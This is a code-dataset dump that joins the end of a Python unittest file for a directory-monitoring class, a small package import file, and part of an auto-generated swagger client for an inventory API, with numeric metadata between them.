self.assertIsNotNone(_directory_monitor) _created_temp_file_paths = [] # type: List[str] def _change_directory_thread_method(): time.sleep(1.1) _temp_file_path = create_random_file_name(_temp_directory.name, ".txt") _created_temp_file_paths.append(_temp_file_path) _change_directory_thread = threading.Thread(target=_change_directory_thread_method) _change_directory_thread.start() _directory_monitor.start() _start_time = datetime.utcnow() _directory_monitor.wait() _end_time = datetime.utcnow() _wait_seconds_total = (_end_time - _start_time).total_seconds() _rounded_wait_seconds_total = round(_wait_seconds_total * 10) / 10 self.assertEqual(1.0, _rounded_wait_seconds_total) self.assertEqual(0, len(_created_temp_file_paths)) time.sleep(1.0) for _temp_file_path in _created_temp_file_paths: os.unlink(_temp_file_path) _temp_directory.cleanup() def test_wait_1(self): # start, change just before delay, root directory _temp_directory = tempfile.TemporaryDirectory() _is_directory_exists = os.path.exists(_temp_directory.name) self.assertEqual(True, _is_directory_exists) _directory_monitor = DirectoryMonitor( directory_path=_temp_directory.name, include_subdirectories=False, delay_between_checks_seconds=1.0 ) self.assertIsNotNone(_directory_monitor) _created_temp_file_paths = [] # type: List[str] def _change_directory_thread_method(): time.sleep(0.9) _temp_file_path = create_random_file_name(_temp_directory.name, ".txt") _created_temp_file_paths.append(_temp_file_path) _change_directory_thread = threading.Thread(target=_change_directory_thread_method) _change_directory_thread.start() _directory_monitor.start() _start_time = datetime.utcnow() _directory_monitor.wait() _end_time = datetime.utcnow() _wait_seconds_total = (_end_time - _start_time).total_seconds() _rounded_wait_seconds_total = round(_wait_seconds_total * 10) / 10 self.assertEqual(2.0, _rounded_wait_seconds_total) self.assertEqual(1, len(_created_temp_file_paths)) for _temp_file_path in _created_temp_file_paths: os.unlink(_temp_file_path) _temp_directory.cleanup() def test_wait_2(self): # start, change just before delay, multiple files, root directory _temp_directory = tempfile.TemporaryDirectory() _is_directory_exists = os.path.exists(_temp_directory.name) self.assertEqual(True, _is_directory_exists) _directory_monitor = DirectoryMonitor( directory_path=_temp_directory.name, include_subdirectories=False, delay_between_checks_seconds=1.0 ) self.assertIsNotNone(_directory_monitor) _created_temp_file_paths = [] # type: List[str] def _change_directory_thread_method(): _sleep_seconds = 0.9 for _index in range(10): time.sleep(_sleep_seconds) _sleep_seconds = 1.0 _temp_file_path = create_random_file_name(_temp_directory.name, ".txt") _created_temp_file_paths.append(_temp_file_path) _change_directory_thread = threading.Thread(target=_change_directory_thread_method) _change_directory_thread.start() _directory_monitor.start() _start_time = datetime.utcnow() _directory_monitor.wait() _end_time = datetime.utcnow() _wait_seconds_total = (_end_time - _start_time).total_seconds() _rounded_wait_seconds_total = round(_wait_seconds_total * 10) / 10 self.assertEqual(11.0, _rounded_wait_seconds_total) self.assertEqual(10, len(_created_temp_file_paths)) for _temp_file_path in _created_temp_file_paths: os.unlink(_temp_file_path) _temp_directory.cleanup() def test_wait_3(self): # start, change just before delay, multiple files, ignore sub directories _temp_directory = tempfile.TemporaryDirectory() _is_directory_exists = os.path.exists(_temp_directory.name) self.assertEqual(True, _is_directory_exists) _directory_monitor = DirectoryMonitor( directory_path=_temp_directory.name, include_subdirectories=False, delay_between_checks_seconds=1.0 ) self.assertIsNotNone(_directory_monitor) _created_temp_file_paths = [] # type: List[str] def _change_directory_thread_method(): try: _sleep_seconds = 0.5 _directory_path = _temp_directory.name for _index in range(10): time.sleep(_sleep_seconds) _sleep_seconds = 1.0 _temp_file_path = create_random_file_name(_directory_path, ".txt") _directory_path = os.path.join(_directory_path, str(uuid.uuid4())) os.mkdir(_directory_path) _created_temp_file_paths.append(_temp_file_path) except Exception as ex: print(f"ex: {ex}") _change_directory_thread = threading.Thread(target=_change_directory_thread_method) _change_directory_thread.start() _directory_monitor.start() _start_time = datetime.utcnow() _directory_monitor.wait() _end_time = datetime.utcnow() _wait_seconds_total = (_end_time - _start_time).total_seconds() _rounded_wait_seconds_total = round(_wait_seconds_total * 10) / 10 time.sleep(9.0) self.assertEqual(2.0, _rounded_wait_seconds_total) self.assertEqual(10, len(_created_temp_file_paths)) for _temp_file_path in _created_temp_file_paths: os.unlink(_temp_file_path) _temp_directory.cleanup() def test_wait_4(self): # start, change just before delay, multiple files, inspect sub directories _temp_directory = tempfile.TemporaryDirectory() _is_directory_exists = os.path.exists(_temp_directory.name) self.assertEqual(True, _is_directory_exists) _directory_monitor = DirectoryMonitor( directory_path=_temp_directory.name, include_subdirectories=True, delay_between_checks_seconds=1.0 ) self.assertIsNotNone(_directory_monitor) _created_temp_file_paths = [] # type: List[str] def _change_directory_thread_method(): try: _sleep_seconds = 0.5 _directory_path = _temp_directory.name for _index in range(10): time.sleep(_sleep_seconds) _sleep_seconds = 1.0 _temp_file_path = create_random_file_name(_directory_path, ".txt") _directory_path = os.path.join(_directory_path, str(uuid.uuid4())) os.mkdir(_directory_path) _created_temp_file_paths.append(_temp_file_path) except Exception as ex: print(f"ex: {ex}") _change_directory_thread = threading.Thread(target=_change_directory_thread_method) _change_directory_thread.start() _directory_monitor.start() _start_time = datetime.utcnow() _directory_monitor.wait() _end_time = datetime.utcnow() _wait_seconds_total = (_end_time - _start_time).total_seconds() _rounded_wait_seconds_total = round(_wait_seconds_total * 4) / 4 self.assertEqual(11.0, _rounded_wait_seconds_total) self.assertEqual(10, len(_created_temp_file_paths)) for _temp_file_path in _created_temp_file_paths: os.unlink(_temp_file_path) _temp_directory.cleanup() if __name__ == "__main__": unittest.main()

28.180556

85

0.782898

1,064

8,116

5.420113

0.098684

0.055488

0.05202

0.06936

0.921796

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0.896827

0.890064

0.867696

0

0.012046

0.130606

8,116

287

86

28.278746

0.805272

0.045466

0

0.791667

0

0.009049

0.003232

0

0.114583

1

0.0625

false

0.005208

0.046875

0

0.119792

0.010417

0

null

0

1

0

1

0

null

0

7

bd77128afb1e7526e0ac40ccdb59a2faf89575c7

114

py

Python

gefry3/classes/__init__.py

jasonmhite/gefry3

4ebe0d456fd45b55a43769bb41b7cac7f9307ff3

[ "BSD-2-Clause" ]

1

2019-06-26T19:52:56.000Z

gefry3/classes/__init__.py

jasonmhite/gefry3

4ebe0d456fd45b55a43769bb41b7cac7f9307ff3

[ "BSD-2-Clause" ]

3

2018-02-04T21:52:43.000Z

2018-08-21T19:04:59.000Z

gefry3/classes/__init__.py

jasonmhite/gefry3

4ebe0d456fd45b55a43769bb41b7cac7f9307ff3

[ "BSD-2-Clause" ]

2

2017-10-03T14:58:39.000Z

2018-09-29T21:05:33.000Z

from gefry3.classes.material import * from gefry3.classes.geometry import * from gefry3.classes.hardware import *

28.5

37

0.815789

15

114

6.2

0.466667

0.322581

0.548387

0.494624

0

0.029412

0.105263

114

3

38

0.882353

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

bd99fb53ad3c05865b9103842300aab91aff2c53

111,532

py

Python

InventoryClient/apis/default_api.py

Orkiv/Inventory-python-client

92724345f48f53693d582a9f4389296dda54eeb1

[ "Apache-2.0" ]

null

InventoryClient/apis/default_api.py

Orkiv/Inventory-python-client

92724345f48f53693d582a9f4389296dda54eeb1

[ "Apache-2.0" ]

null

InventoryClient/apis/default_api.py

Orkiv/Inventory-python-client

92724345f48f53693d582a9f4389296dda54eeb1

[ "Apache-2.0" ]

null

# coding: utf-8 """ InventoryAPI Orkiv Inventory API client OpenAPI spec version: 1.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import absolute_import import sys import os import re # python 2 and python 3 compatibility library from six import iteritems from ..configuration import Configuration from ..api_client import ApiClient class DefaultApi(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): config = Configuration() if api_client: self.api_client = api_client else: if not config.api_client: config.api_client = ApiClient() self.api_client = config.api_client def all_get(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.all_get(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :return: list[InventoryGroup] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.all_get_with_http_info(**kwargs) else: (data) = self.all_get_with_http_info(**kwargs) return data def all_get_with_http_info(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.all_get_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :return: list[InventoryGroup] If the method is called asynchronously, returns the request thread. """ all_params = [] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method all_get" % key ) params[key] = val del params['kwargs'] resource_path = '/all/'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[InventoryGroup]', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def categories_delete(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.categories_delete(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Id of category to remove (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.categories_delete_with_http_info(id, **kwargs) else: (data) = self.categories_delete_with_http_info(id, **kwargs) return data def categories_delete_with_http_info(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.categories_delete_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Id of category to remove (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method categories_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `categories_delete`") resource_path = '/categories/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def categories_post(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.categories_post(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param Category query: Category to query against system :return: list[Category] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.categories_post_with_http_info(**kwargs) else: (data) = self.categories_post_with_http_info(**kwargs) return data def categories_post_with_http_info(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.categories_post_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param Category query: Category to query against system :return: list[Category] If the method is called asynchronously, returns the request thread. """ all_params = ['query'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method categories_post" % key ) params[key] = val del params['kwargs'] resource_path = '/categories/'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'query' in params: body_params = params['query'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Category]', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def categories_put(self, id, category, **kwargs): """ If no ID is specified a new category will be created! This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.categories_put(id, category, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: category id to update. (required) :param Category category: New category information. (required) :return: Category If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.categories_put_with_http_info(id, category, **kwargs) else: (data) = self.categories_put_with_http_info(id, category, **kwargs) return data def categories_put_with_http_info(self, id, category, **kwargs): """ If no ID is specified a new category will be created! This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.categories_put_with_http_info(id, category, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: category id to update. (required) :param Category category: New category information. (required) :return: Category If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'category'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method categories_put" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `categories_put`") # verify the required parameter 'category' is set if ('category' not in params) or (params['category'] is None): raise ValueError("Missing the required parameter `category` when calling `categories_put`") resource_path = '/categories/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'category' in params: body_params = params['category'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Category', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def item_add_post(self, item, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_add_post(item, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param ItemRequest item: Item to create. (required) :return: Item If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.item_add_post_with_http_info(item, **kwargs) else: (data) = self.item_add_post_with_http_info(item, **kwargs) return data def item_add_post_with_http_info(self, item, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_add_post_with_http_info(item, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param ItemRequest item: Item to create. (required) :return: Item If the method is called asynchronously, returns the request thread. """ all_params = ['item'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method item_add_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'item' is set if ('item' not in params) or (params['item'] is None): raise ValueError("Missing the required parameter `item` when calling `item_add_post`") resource_path = '/item/add/'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'item' in params: body_params = params['item'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Item', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def item_addbulk_post(self, items, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_addbulk_post(items, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param list[ItemRequest] items: Items to create. (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.item_addbulk_post_with_http_info(items, **kwargs) else: (data) = self.item_addbulk_post_with_http_info(items, **kwargs) return data def item_addbulk_post_with_http_info(self, items, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_addbulk_post_with_http_info(items, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param list[ItemRequest] items: Items to create. (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['items'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method item_addbulk_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'items' is set if ('items' not in params) or (params['items'] is None): raise ValueError("Missing the required parameter `items` when calling `item_addbulk_post`") resource_path = '/item/addbulk/'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'items' in params: body_params = params['items'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def item_delete(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_delete(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: item id to remove (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.item_delete_with_http_info(id, **kwargs) else: (data) = self.item_delete_with_http_info(id, **kwargs) return data def item_delete_with_http_info(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_delete_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: item id to remove (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method item_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `item_delete`") resource_path = '/item/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def item_get(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_get(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Item ID to open. (required) :return: Item If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.item_get_with_http_info(id, **kwargs) else: (data) = self.item_get_with_http_info(id, **kwargs) return data def item_get_with_http_info(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_get_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Item ID to open. (required) :return: Item If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method item_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `item_get`") resource_path = '/item/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Item', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def item_media_delete(self, imageurl, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_media_delete(imageurl, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str imageurl: URL of image to remove (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.item_media_delete_with_http_info(imageurl, **kwargs) else: (data) = self.item_media_delete_with_http_info(imageurl, **kwargs) return data def item_media_delete_with_http_info(self, imageurl, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_media_delete_with_http_info(imageurl, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str imageurl: URL of image to remove (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['imageurl'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method item_media_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'imageurl' is set if ('imageurl' not in params) or (params['imageurl'] is None): raise ValueError("Missing the required parameter `imageurl` when calling `item_media_delete`") resource_path = '/item-media/'.replace('{format}', 'json') path_params = {} query_params = {} if 'imageurl' in params: query_params['imageurl'] = params['imageurl'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def item_media_post(self, id, image, **kwargs): """ This endpoint is currently in testing. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_media_post(id, image, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Valid item id to bind image to. (required) :param file image: Image. (required) :return: str If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.item_media_post_with_http_info(id, image, **kwargs) else: (data) = self.item_media_post_with_http_info(id, image, **kwargs) return data def item_media_post_with_http_info(self, id, image, **kwargs): """ This endpoint is currently in testing. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_media_post_with_http_info(id, image, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Valid item id to bind image to. (required) :param file image: Image. (required) :return: str If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'image'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method item_media_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `item_media_post`") # verify the required parameter 'image' is set if ('image' not in params) or (params['image'] is None): raise ValueError("Missing the required parameter `image` when calling `item_media_post`") resource_path = '/item-media/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} if 'image' in params: local_var_files['image'] = params['image'] body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['multipart/form-data', 'application/x-www-form-urlencoded']) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='str', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def item_put(self, id, item, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_put(id, item, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: item id to update. (required) :param ItemRequest item: New item information. (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.item_put_with_http_info(id, item, **kwargs) else: (data) = self.item_put_with_http_info(id, item, **kwargs) return data def item_put_with_http_info(self, id, item, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.item_put_with_http_info(id, item, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: item id to update. (required) :param ItemRequest item: New item information. (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'item'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method item_put" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `item_put`") # verify the required parameter 'item' is set if ('item' not in params) or (params['item'] is None): raise ValueError("Missing the required parameter `item` when calling `item_put`") resource_path = '/item/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'item' in params: body_params = params['item'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def items_count_post(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.items_count_post(callback=callback_function) :param callback function: The callback function for 